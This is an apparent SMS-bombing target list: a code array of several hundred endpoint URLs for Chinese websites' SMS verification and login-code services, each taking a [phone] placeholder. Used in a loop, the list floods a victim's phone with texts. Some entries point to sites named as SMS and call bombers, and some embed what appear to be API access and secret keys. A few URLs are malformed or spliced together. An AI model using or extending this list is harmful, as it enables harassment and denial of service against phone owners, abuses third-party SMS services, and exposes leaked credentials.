"http://ketang.ldcstudy.com/nsuser/h5/getCode.vm?phone=[phone]&servicekey=", + "http://koudaitong.com/v2/common/sms/captcha.jsonp?callback=jQuery1102020099561656467435_1430461129946&verifyTimes=1&biz=kdt_account_captcha&_=1430461129949&mobile=[phone]", + "http://koudaitong.com/v2/common/sms/imgcaptcha.jsonp?callback=jQuery1102009139976025888258_1433746978224&captcha_code=7998&_=1433746978226&mobile=[phone]", + "http://koudaitong.com/v2/common/sms/imgcaptcha.jsonp?callback=jQuery1102009139976025888258_1433746978224&captcha_code=7998&_=1433746978226&mobile=[phone]", + "http://koudaitong.com/v2/common/sms/imgcaptcha.jsonp?callback=jQuery1102020099561656467435_1430461129946&captcha_code=0722&_=1430461129948&mobile=[phone]", + "http://koudaitong.com/v2/common/sms/imgcaptcha.jsonp?callback=jQuery1102020099561656467435_1430461129946&captcha_code=0722&_=1430461129948&mobile=[phone]", + "http://kyddn.log56.com/sq_server/verifyCode.action?mobile_no=[phone]", + "http://ld.liandan100.com/ldmgr/api/user/sendVerifySms?platform=1&versionNum=53&&r=&partnerId=[phone]", + "http://ld.liandan100.com/ldmgr/api/user/sendVerifySms?platform=1&versionNum=53&&r=&partnerId=[phone]", + "http://liuyan.people.com.cn/verifycode/rand4?t=1603181060151&verCode=phoneNum=[phone]", + "http://lndx.edu.cn/Third/Mobile_SMS?Mobile=[phone]&beCallPhone=15810904000", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=0", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=1", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=10", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=11", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=12", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=13", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=14", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=15", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=16", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=17", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=18", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=19", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=2", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=20", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=21", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=22", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=23", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=24", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=25", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=3", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=4", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=5", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=6", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=7", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=8", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=9", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=0", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=1", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=10", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=11", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=12", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=13", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=14", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=15", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=16", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=17", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=18", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=19", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=2", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=20", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=21", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=22", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=23", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=24", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=25", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=3", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=4", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=5", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=6", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=7", + "http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=9", + "http://m.1mi.cn/wap/user/mobile_verify.json?mobile=[phone]&flag=0&identifying=", + "http://m.aihuaju.com/wap/index.php?act=security&op=send_reg_mobile&mobile=[phone]", + "http://m.anjuke.com/general/sendphonecode?phone=[phone]&captcha=", + "http://m.anjuke.com/general/sendphonecode?phone=[phone]&captcha=", + "http://m.api.cetv.cn/v2/member?app_version=2.1.0&sign=f631db0bcb5fabc1b76679d9480e4f73&device_id=74:4A:A4:A6:B0:63&time=1561078945566&mobile=[phone]&system_name=android&ip=192.168.43.217&siteid=10001&clientid=1&modules=needcaptcha:1&type=android", + "http://m.api.cetv.cn/v2/member?app_version=2.1.0&sign=f631db0bcb5fabc1b76679d9480e4f73&device_id=74:4A:A4:A6:B0:63&time=1561078945566&mobile=[phone]", + "http://m.bidcenter.com.cn/JsonHandler/QuickRegisterValidateCode.aspx?mobiles=[phone]", + "http://m.cqrenrenle.com/v3/users/code?mobile=[phone]&from=reg&packagename=com.feifan.app&platform=android", + "http://m.egou.com/validate_phone.htm?phone=[phone]", + "http://m.fanli.com/invite/sendverifycode?jsoncallback=jsonp2&pos=601&t=1488608297799&mobile=[phone]", + "http://m.fanli.com/invite/sendverifycode?jsoncallback=jsonp2&pos=601&t=1488608297799&mobile=[phone]", + "http://m.health.pingan.com/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&deviceType=SM-G9300&timestamp=1545122608&app=0&platform=3&app_key=PAHealth&osversion=23&info=&version=1.0.1&resolution=1440x2560&screenSize=22&netType=1&channel=m_h5&phone=[phone]", + "http://m.health.pingan.com/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&deviceType=SM-G9300×tamp=1545122608&app=0&platform=3&app_key=PAHealth&osversion=23&info=&version=1.0.1&resolution=1440x2560&screenSize=22&netType=1&channel=m_h5&phone=[phone]", + "http://m.huibo.com/register/getAuthCode?txtPhone=[phone]", + "http://m.ikuyu.cn/login/getvcode?phone=[phone]", + "http://m.jianshe99.com/m_member/member/mobile_register/resendMsg.shtm?jsonpCallback=&_=&mobilePhone=[phone]", + "http://m.jianshe99.com/m_member/member/mobile_register/resendMsg.shtm?jsonpCallback=&_=&mobilePhone=[phone]", + "http://m.jiguo.com/mb/api/validatecode/color/mb.html?d=0.7554753933168952&vcode=tel=[phone]", + "http://m.login.httpcn.com/login/LoginCode?callbackparam=jQuery111106766551584217104_1592824186799&val=[phone]&_=1592824186801", + "http://m.logofree.cn/misc.php?act=send_sms&m=[phone]", + "http://m.logofree.cn/misc.php?act=send_sms&m=[phone]&token=f3c95f20b6628ae17a40111ebf4170e8", + "http://m.logofree.cn/misc.php?act=send_sms&m=[phone]", + "http://m.nsyh001.com/user/ajax/Btnmobileverify?user_name=[phone]", + "http://m.renwo.com/Ajax/json.ashx?at=sendregsmsvcode&m=1&mobile=[phone]&_=1551173567899", + "http://m.renwo.com/Ajax/json.ashx?at=sendregsmsvcode&m=1&mobile=[phone]&_=1551173567991", + "http://m.renwo.com/Ajax/json.ashx?at=sendregsmsvcode&m=1&mobile=[phone]", + "http://m.robotest.cn/user/sms.html?tel=[phone]", + "http://m.robotest.cn/user/sms.html?tel=[phone]&hash=9f82736455da1c53", + "http://m.shanzhen.me/sz/index/smsverifyp?phone=[phone]", + "http://m.sjingbang.com/api/app/sendSmsCode%2522,%2522rediskey%2522:%2522AppRegValidate%2522,%2522gjdqCode%2522:%252286%2522%257D&_1600248070800=[phone]", + "http://m.tk.cn/tkmobile/orderSentSmsServlet?mobile=[phone]", + "http://m.tk.cn/tkmobile/orderSentSmsServlet?mobile=[phone]&comefrom=7&auth=&msgtype=0", + "http://m.tk.cn/tkmobile/service/member?function_code=dynamicLogin&login_mobile=[phone]", + "http://m.tk.cn/tkmobile/service/member?function_code=dynamicLogin&login_mobile=[phone]", + "http://m.tk.cn:80/tkmobile/orderSentSmsServlet?mobile=[phone]", + "http://m.xymens.com/index.php/Home/User/send_code?mobile=[phone]", + "http://m.yaya.cn/tools/web_submit.ashx?action=reg_get_mobile_code&mobile=[phone]", + "http://m.yhk188.com/register/sendAppRegMsg.dos?channel=1&mobilephone=[phone]&time=8a0aae56fd56e3d023102a88e57a4a594a1625c5769a666d42a35e5b5933c01b&type=1&version=1.6.1", + "http://m.yst.com.cn/pc/code/phone/regist?phone=[phone]", + "http://m.zhenai.com/v2/register/resendMobileCode.do?baseInfo2.serviceMobile=[phone]", + "http://maintain.yunzhandata.com/internal/customer/sendcode.json?mobile=[phone]", + "http://mall.95572.com/mobile/member/register/web/captcha?mobile=[phone]", + "http://mall.juzifenqi.com/termi/sendVerifySMSVH?mobile=[phone]&flag=1&verifyCode=", + "http://mall.juzifenqi.com/termi/sendVerifySMSVH?mobile=[phone]&flag=1&verifyCode=", + "http://manage.univisa.cn/posts/random?callback=jQuery111308764434818808016_1596972033456&phone=target=mobile&mobile=[phone]", + "http://meeting.csco.org.cn/Admin/VerificationCode/?type=1&v=1&id=1&email=&checkcode=ipass=0&mobile=[phone]", + "http://member.cabplink.com/sso/sendRegisterSMS.zaction?mobile=[phone]", + "http://member.ehaier.com/sendMobileSmsVerify.html?mobile=[phone]", + "http://member.for68.com/member/consult/sendRandcode.shtm?mobilePhone=[phone]", + "http://member.med66.com/uc/smscode?phone=[phone]", + "http://mkxq.zymk.cn/user/v1/mobilevc/?callback=jQuery321016123103253181426_1503210785449&mobile=[phone]&service=mkn&_=1503210785451 ", + "http://mkxq.zymk.cn/user/v1/mobilevc/?callback=jQuery321016123103253181426_1503210785449&mobile=[phone]&service=mkn&_=1503210785451", + "http://mobile.health.pingan.com/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&phone=[phone]", + "http://mobile.health.pingan.com/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&phone=[phone]", + "http://mobile.health.pingan.com:80/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&phone=[phone]", + "http://mobile.health.pingan.com:80/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&phone=[phone]", + "http://mobile.yougou.com/v_1.8/quicklyLoginMobileverify?username=[phone]", + "http://msg.106117.com/submit_ajax.ashx?callback=jQuery11120017795995642418072_1558097551516&username=[phone]&action=getValidate&_=1558097551517", + "http://my.baihe.com/Getinterregist/captchaAndRegCheck?account=[phone]", + "http://my.baihe.com/Getinterregist/captchaAndRegCheck?account=[phone]&type=1", + "http://my.baihe.com/Getinterregist/getPhoneVerifyCode?jsonCallBack=jQuery18306001467584540825_1439706800918&type=2&phone=[phone]&_=1439707017074", + "http://my.baihe.com/Getinterregist/getPhoneVerifyCode?jsonCallBack=jQuery18306001467584540825_1439706800918&type=2&phone=[phone]&_=1439707017074", + "http://my.cnki.net/elibregister/Server.aspx?mobile=[phone]", + "http://my.cnki.net/elibregister/Server.aspx?mobile=[phone]&temp=1551691791466&operatetype=2", + "http://my.ikang.com/loginUserReg/getGenerateCode?phone=[phone]", + "http://ndapi.nexttao.com/api/user/request_mobile_code?mobile=[phone]", + "http://newm.yktour.com.cn/api/captcha/login/info/get?mobile=[phone]", + "http://newweb.lumiai.com/api/isecurity/sms_captcha?mobile=[phone]", + "http://open.leju.com/game/member/sendcode.html?phone=[phone]", + "http://open.zhundao.com.cn/api/v2/senCode?&phoneOrEmail=[phone]", + "http://park.chemi.ren//serverpark/index.php/Api/Mobileapi/getCode?phone=[phone]", + "http://park.chemi.ren//serverpark/index.php/Api/Mobileapi/getCode?phone=[phone]&action=codeLogin&type=sms&client=android&version=2.4", + "http://pass.hujiang.com/Handler/UCenter?action=SendMsg&callback=&imgCode=&token=&_=&mobile=[phone]", + "http://pass.hujiang.com/Handler/UCenter?action=SendMsg&callback=&imgCode=&token=&_=&mobile=[phone]", + "http://passport.12371.cn/security/getMobileCode?type=regist&mobile=[phone]", + "http://passport.17house.com/login/sendSMSForMobileLogin?mobile=[phone]", + "http://passport.58.com/mobileauthcodelogin/getcode?valIDAtecode=?=true&source=m-my&callback=jsonp_callback2&mobile=[phone]", + "http://passport.58.com/mobileauthcodelogin/getcode?validatecode=?=true&source=m-my&callback=jsonp_callback2&mobile=[phone]", + "http://passport.aplus.pptv.com/2015usercenter/api/sendphonecode/?phoneNum=[phone]", + "http://passport.ceair.com/cesso/mobile!geetCheck.shtml?_0.020283224898892227?mobileNo=[phone]&geetest_challenge=&geetest_validate=&geetest_seccode=", + "http://passport.ceair.com/cesso/mobile!geetCheck.shtml?_0.020283224898892227?mobileNo=[phone]&geetest_challenge=&geetest_validate=&geetest_seccode=", + "http://passport.centanet.com/m/page/ajax/20C79442F06E.ashx?Act=SetCode&phone=[phone]", + "http://passport.centanet.com/m/page/ajax/20C79442F06E.ashx?Act=SetCode+phone=[phone]", + "http://passport.chinahr.com/ajax/m/sendCode/[phone]?tmpid=1957&from=2&imgCode=", + "http://passport.chinahr.com/ajax/m/sendCode/[phone]?tmpid=1957&from=2&imgCode=", + "http://passport.chinahr.com/ajax/m/sendCode/[phone]?tmpid=773", + "http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18301483604325027934_1570445210207&mobile=[phone]", + "http://passport.csdn.net/account/mobileregister?action=sendMobileCode&mobile=[phone]", + "http://passport.csdn.net/account/mobileregister?action=sendMobileCode&mobile=[phone]", + "http://passport.ctrl.cn/sms/reg?mobile=[phone]", + "http://passport.fang.com/loginsendmsm.api?MobilePhone=[phone]", + "http://passport.fang.com/loginsendmsm.api?callback=jsonp1475917947590&Service=home-club-web&backurl=&mobilephone=[phone]", + "http://passport.fang.com/loginsendmsm.api?callback=jsonp1475917947590&Service=home-club-web&backurl=&mobilephone=[phone]", + "http://passport.fang.com/loginsendmsm.api?callback=jsonp1475917947591&Service=home-club-web&backurl=&mobilephone=[phone]", + "http://passport.fang.com/loginsendmsm.api?callback=jsonp1475917947591&Service=home-club-web&backurl=&mobilephone=[phone]", + "http://passport.fanli.com/login/ajaxLoginSendVerfiycode?jsoncallback=jQuery183044493322381181954_1486714320243&pos=601&mobile=[phone]&_=1486714329485", + "http://passport.fanli.com/login/ajaxLoginSendVerfiycode?jsoncallback=jQuery183044493322381181954_1486714320243&pos=601&mobile=[phone]&_=1486714329485", + "http://passport.fanli.com/mobileapi/i/user/mobileFastReg?deviceno=860903034476055&mobile=[phone]", + "http://passport.fanli.com/mobileapi/i/user/mobileFastReg?deviceno=860903034476055&mobile=[phone]&mobilestep=1&verification_code=&verify_flag=&verify_global=ma624mg0j80trr7ldvwcl15c1f&c_aver=1.0&c_src=2&c_v=5.3.1.24&devid=63599267906091", + "http://passport.fanli.com/mobileapi/i/user/mobileFastReg?deviceno=860903034476055&mobile=[phone]", + "http://passport.fanli.com/mobileapi/i/user/mobileFastReg?deviceno=860903034476055&mobile=[phone]&mobilestep=1&verification_code=&verify_flag=&verify_global=ma624mg0j80trr7ldvwcl15c1f&c_aver=1.0&c_src=2&c_v=5.3.1.24&devid=63599267906091", + "http://passport.jcard.cn/Service/AjaxSendCodeService.aspx?doType=sendextcode&_=1445158370&mobile=[phone]", + "http://passport.jcard.cn/Service/AjaxSendCodeService.aspx?doType=sendextcode&_=1445158370&mobile=[phone]", + "http://passport.ks5u.com/RPAjax.ashx?Param=009&PhoneNum=[phone]", + "http://passport.ks5u.com/RPAjax.ashx?Param=009&PhoneNum=[phone]", + "http://passport2.chaoxing.com/num/phonecode?phone=[phone]", + "http://passport2.chaoxing.com/num/phonecode?phone=[phone]&needcode=false", + "http://passport2.chaoxing.com/num/phonecode?phone=http://s.juntu.com/member/index/getLoginCode?mobile=[phone]", + "http://photograph.yuanlikj.cn/send/Send?appName=%E6%88%AA%E5%9B%BE%E7%A7%80-%E5%AF%B9%E8%AF%9D%E7%94%9F%E6%88%90%E5%99%A8&TELMobile=[phone]", + "http://photograph.yuanlikj.cn/send/Send?appName=截图秀-对话生成器&TELMobile=[phone]", + "http://prod.layadmin.cn/api/message/sendV2?app_id=1&version=1.4.0&channel_id=001&phone=[phone]", + "http://ptlogin.4399.com/ptlogin/sendPhoneLoginCode.do?phone=[phone]", + "http://ptlogin.4399.com/ptlogin/sendPhoneLoginCode.do?phone=[phone]&appId=www_home&v=2&sig=&t=1592615855903&v=2", + "http://ptlogin.4399.com/ptlogin/sendPhoneLoginCode.do?phone=[phone]&appId=www_home&v=2&sig=&t=1592615855903&v=2", + "http://ptlogin.4399.com/ptlogin/sendRegPhoneCode.do?phone=[phone]", + "http://quan.lukou.com/api/sms/verification_code?phone=[phone]", + "http://quan.lukou.com/api/sms/verification_code?phone=[phone]&sign=74F59C2BB6F3830D6EB835FDA7550EB7&t=1564024638", + "http://readapp.ddyvip.cn/app/user/sendLoginCode.api?appVersion=2.4.4&inviteCode=&mobile=[phone]", + "http://reg.lenovo.com.cn/captcha/canSend?mobile=[phone]&callback=getMobileCode&_=1480296216538", + "http://reg.suning.com/ajax/code/sms.do?scen=WAP_WCHAT_PUB_ACCT_UNION_LOGIN_MOBILE_REG&phoneNum=[phone]", + "http://reg.suning.com/ajax/code/sms.do?scen=WAP_WCHAT_PUB_ACCT_UNION_LOGIN_MOBILE_REG&phoneNum=[phone]", + "http://reg.suning.com/srs-web/ajax/code/sms.do?scen=PERSON_MOBILE_REG_VERIFY_MOBILE&phoneNum=[phone]&uid=&code=", + "http://reg.suning.com/srs-web/ajax/code/sms.do?scen=PERSON_MOBILE_REG_VERIFY_MOBILE&phoneNum=[phone]&uid=&code=", + "http://reg.suning.com:80/ajax/code/sms.do?scen=WAP_WCHAT_PUB_ACCT_UNION_LOGIN_MOBILE_REG&phoneNum=[phone]", + "http://reg.suning.com:80/ajax/code/sms.do?scen=WAP_WCHAT_PUB_ACCT_UNION_LOGIN_MOBILE_REG&phoneNum=[phone]", + "http://reg.uuyoyo.com/AshxHandler/AjaxRegHandler.ashx?action=reg_phone_code_send&_=&phone=[phone]", + "http://ruzhu.jd.com/user/sendVC?phone=[phone]", + "http://sapi.16888.com/app.php?mod=account&extra=mobileCode&mobile=[phone]", + "http://sapi.16888.com/app.php?mod=account&extra=mobileCode&mobile=[phone]", + "http://shop.shtv.net.cn/ShopWeb/Ajax/ChkSMSCode.ashx?t=0.016637186912638713&MobileCode=&type=user-registerphoneNo=[phone]", + "http://skyapp.mackentan.com/app/v5/login/verifyuser.do?t=1565488775000&did=EVrRL0SJdF8b4aa87b41&ver=170&it=434857&username=[phone]&fit=434857&sign=df42d291c6c8487aab384f3da2f5a42f6920e76b&appid=com.jediapp.changgejiaoxue&idfa=5C351103-F887-4932-BC59-58C75875EFDE", + "http://slb-sport.vesal.cn/vesal-sport-prod/v1/app/member/getCode?tellAndEmail=[phone]", + "http://slb-sport.vesal.cn:80/vesal-sport-prod/v1/app/member/getCode?tellAndEmail=[phone]", + "http://sms.321mh.com/user/v1/sendsms?mobile=[phone]&service=zymk&countryCode=&imgCode=&refresh=0&localtime=&client-channel=store_tencent&loglevel=3&client-type=android&client-version=4.9.1", + "http://sms.bechtech.cn/Api/send/data/json?accesskey=1730&secretkey=3f198068c6b5c1036f9b38ae0690cc244695a247&mobile=[phone]&content=%E6%82%A8%E7%9A%84%E6%89%8B%E6%9C%BA%E9%AA%8C%E8%AF%81%E7%A0%81%E4%B8%BA%EF%BC%9A3973+%EF%BC%8C%E8%AF%A5%E9%AA%8C%E8%AF%81%E7%A0%8110%", + "http://sms.bechtech.cn/Api/send/data/json?accesskey=1730&secretkey=3f198068c6b5c1036f9b38ae0690cc244695a247&mobile=[phone]&content=您的手机验证码为:3973+,该验证码10%", + "http://sms.bechtech.cn/Api/send/data/json?accesskey=1730&secretkey=3f198068c6b5c1036f9b38ae0690cc244695a247&mobile=[phone]", + "http://smsspub.mail.163.com/mobileserv/fsms.do?product=AndroidMail&template=ds&callback=sendCallback0&_=1430485975547&mobile=[phone]", + "http://smsspub.mail.163.com/mobileserv/fsms.do?product=AndroidMail&template=ds&callback=sendCallback0&_=1430485975547&mobile=[phone]", + "http://spi.lakala.com/wechat/weixin/signUp/getSMSCode.do?Mobile=[phone]", + "http://splus.bianfeng.com/index.php?r=findAccount/SendCode&rnd=&a=[phone]", + "http://splus.bianfeng.com/index.php?r=findAccount/SendCode&rnd=&a=[phone]", + "http://srmemberapp.srgow.com/sys/captcha/://gj.liansuosoft.com/ShopRegister/SendSms?mobile=[phone]", + "http://srmemberapp.srgow.com/sys/captcha/[phone]", + "http://sso.toutiao.com/send_activation_code/?mobile=[phone]", + "http://sso1.nlc.cn/sso/currency/sendCodeToMobile?mobile=[phone]", + "http://store.ncpa-classic.com/api/comm/smsNew?callback=jQuery17202866925711954793_1605436223502&mobile=[phone]", + "http://survey.dxy.cn/forms/public/survey2/captcha?sid=102998&itemid=127053&phone=[phone]", + "http://survey.dxy.cn/forms/public/survey2/captcha?sid=102998&itemid=127053&phone=[phone]", + "http://svr.cnoa.cn/api/sms.oatry.user.php?jsonpcallback=jsonp1480990856832&task=send&mobile=[phone]", + "http://svr.cnoa.cn/api/sms.oatry.user.php?jsonpcallback=jsonp1480990856832&task=send&mobile=[phone]&version=oa.cnoa.cn", + "http://tel.kuaishang.cn/ajax.php?act=sendmsg&author=%E9%BD%90%E6%99%A8&fromurls=http%3A%2F%2Fwww.mianfeidianhua.net%2Fhsnzy.html&content=%E6%83%B3%E5%92%A8%E8%AF%A2%E3%80%82&did=382&uid=2010131726&phone=[phone]&_=1551173567919", + "http://tel.kuaishang.cn/ajax.php?act=sendmsg&author=齐晨&fromurls=http://www.mianfeidianhua.net/hsnzy.html&content=想咨询。&did=382&uid=2010131726&phone=[phone]&_=1551173567919", + "http://tel.kuaishang.cn/cl.php?tel=[phone]", + "http://test2.p10155.cn:8075/sendCode.ashx?phonenum=[phone]", + "http://tools.wx6.org/dianhuahongzhaji/?telcode=[phone]", + "http://tools.wx6.org/duanxinhongzhaji/?telcode=[phone]", + "http://ttq.api.yolanda.hk/api/v5/users/identifying_code.json?address=&app_id=TTQ&app_revision=2.2.2&cellphone_type=iPhone 6s-12.4&login=[phone]&mob_type=1&platform=iphone&send_type=1&systemLaunguage=zh-Hans-CN", + "http://ttq.api.yolanda.hk/api/v5/users/identifying_code.json?address=&app_id=TTQ&app_revision=2.2.2&cellphone_type=iPhone%206s-12.4&login=[phone]&mob_type=1&platform=iphone&send_type=1&systemLaunguage=zh-Hans-CN", + "http://ttq.api.yolanda.hk/api/v5/users/identifying_code.json?address=&app_id=TTQ&app_revision=2.2.2&cellphone_type=iPhone%206s-12.4&login=[phone]", + "http://ttq.api.yolanda.hk/api/v5/users/identifying_code.json?address=&app_id=TTQ&app_revision=2.2.2&cellphone_type=iPhone%206s-12.4&login=[phone]&mob_type=1&platform=iphone&send_type=1&systemLaunguage=zh-Hans-CN", + "http://ttq.api.yolanda.hk/api/v5/users/identifying_code.json?address=&app_id=TTQ&app_revision=2.2.2&cellphone_type=iPhone6s-12.4&login=[phone]", + "http://u.danongchang.cn/User/CheckUserMess.aspx?type=3&dhhm=[phone]", + "http://uac.10010.com/oauth2/OpSms?callback=jsonp1544753247279&req_time=1544753262715&user_id=[phone]", + "http://uac.10010.com/oauth2/OpSms?callback=jsonp1557631709566&req_time=&user_id=[phone]", + "http://uac.10010.com/oauth2/OpSms?callback=jsonp1557631709566&req_time=&user_id=[phone]&app_code=ECS-2233&msg_type=01", + "http://uac.10010.com/oauth2/OpSms?callback=jsonp1557631709566&req_time=&user_id=[phone]&app_code=ECS-2233&msg_type=01", + "http://uac.10010.com:80/oauth2/OpSms?callback=jsonp1557631709566&req_time=&user_id=[phone]", + "http://uac.10010.com:80/oauth2/OpSms?callback=jsonp1557631709566&req_time=&user_id=[phone]", + "http://uniservice.kugou.com/v2/activity/sendCode?call_number=[phone]&cb=kgJSONP239130071", + "http://uniservice.kugou.com/v2/activity/sendCode?call_number=[phone]&cb=kgJSONP239130071", + "http://user.app.nanrenbang.in/user/user/getvalidate?phone=[phone]", + "http://user.daojia.com/mobile/getcode?mobile=[phone]", + "http://user.daojia.com/user/getSmscode?mobile=[phone]", + "http://user.daojia.com/user/getSmscode?mobile=[phone]&bu=", + "http://user.daojia.com:80/mobile/getcode?mobile=[phone]", + "http://user.memeyule.com/authcode/send_mobile?china=true&mobile=[phone]", + "http://user.memeyule.com/authcode/send_mobile?china=true&mobile=[phone]", + "http://user.memeyule.com/authcode/send_mobile?mobile=[phone]", + "http://user.zhangyoubao.com/passwords/getVerifyCode?mobile=[phone]", + "http://uss.lenovomm.com/accounts/1.4/sendVerifyCode?msisdn=[phone]", + "http://v.juhe.cn/sms/send?mobile=[phone]", + "http://v.juhe.cn/sms/send?mobile=[phone]&tpl_id=11115&tpl_value=", + "http://v.juhe.cn/sms/send?mobile=[phone]&tpl_id=11115&tpl_value=#code#=321809&key=a68cead9b27523c56ce7fd7fc1312ea4", + "http://v.juhe.cn/sms/send?mobile=[phone]&tpl_id=11115&tpl_value=%23code%23%3d321809&key=a68cead9b27523c56ce7fd7fc1312ea4", + "http://v.juhe.cn/sms/send?mobile=[phone]&tpl_id=11115&tpl_value=", + "http://vip.haier.com:80/vipCode/user/sendMobileCode?sendType=codeLogin1&domainName=Haier&mobile=[phone]", + "http://vip.haier.com:80/vipCode/user/sendMobileCode?sendType=codeLogin1&domainName=Haier&mobile=[phone]", + "http://vip.timesawards.com/Method/getAuthCode?target=[phone]", + "http://vis3.renwuto.com/VerifyCode/SendReg?tk=[phone]", + "http://voip-newapi20160601.voip-oem.com/api/Account/GetValidateCodeNoUser?SrcPhone=[phone]", + "http://voip-newapi20160601.voip-oem.com/api/Account/GetValidateCodeNoUser?SrcPhone=[phone]&type=1&proxyId=5318302", + "http://w.xyhsoft.com:80/pypay/xyhpay/util/ZsendCode.do?phone=[phone]", + "http://w4.duoyi.com/p_user/DoNewActCards.aspx?gate=sw&jsoncallback=jQuery18303232165043277003_1483854401800&act=getsmscode&phone=[phone]", + "http://w4.duoyi.com/p_user/DoNewActCards.aspx?gate=sw&jsoncallback=jQuery18303232165043277003_1483854401800&act=getsmscode&phone=[phone]", + "http://walk-prod.bohanyuedong.com/api/message/sendV2?phone=[phone]&app_id=2&timestamp=1599549118&channel_id=000&device_id=F9D6949590A78676215E2CD28D7539342F42B1A8&os=25&version=1.0.1&sign=af2b1f5cd686f61176655c7528819b26&imei=861271047037119&imei_device_id=94086F8106D8651CDC5B90160F11B56BD0AECC00", + "http://wap.10010.com/mobileService/tuiguang/sendMsg.htm?mobileNumber=[phone]", + "http://wap.ghs.net/wap/wxregister-checkMobile.html?uname=[phone]", + "http://wap.zt.raiyi.com/weixin/bind/verifyMobile?mobile=[phone]&appCode=fc_wx&buyChannel=OfficialAccounts&vtype=0", + "http://web.5zhuan.com/?ac=getmsgcode&cphone=[phone]", + "http://web.enjoysms.cn/do/safecode.do?0.4155260914653185&VerifyCode=[phone]", + "http://weizhang.58.com/user/login/getcode?mobile=[phone]", + "http://wo10010sh.cn/ticket/?a=[phone]", + "http://woa.sdo.com/woa/autologin/receiveVerificationSms.shtm?phone=[phone]", + "http://ws.sythealth.com/wsbyte/fit/v4/sms/validatorcode?form=0&account=[phone]", + "http://ws.sythealth.com/wsbyte/fit/v4/sms/validatorcode?form=0&account=[phone]", + "http://wskh.newone.com.cn/newlogincontroller/getrandompassword?mobile=[phone]", + "http://wsxf.gjxfj.gov.cn/zfp/getyzmservice/getyzm?theme=none&act=addNew2mb=[phone]", + "http://www.023jz.com/register/sendMobileCode.html?mobile=[phone]", + "http://www.100ppi.com/ecp/ppi/get_sf/get_yzm.php?m=[phone]", + "http://www.12366.com/front/userInfo/sendRegisterMessage loginName=[phone]", + "http://www.12chu.com/reg/sendCode.jhtml?mobile=[phone]", + "http://www.1314.buzz/index.php?hm=[phone]", + "http://www.4008123123.com/phhs_ios/sendSmsCodeVip.action &accessType=1&circleId=100000055 username=[phone]", + "http://www.51zouchuqu.com/sms/send?mobileNo=[phone]", + 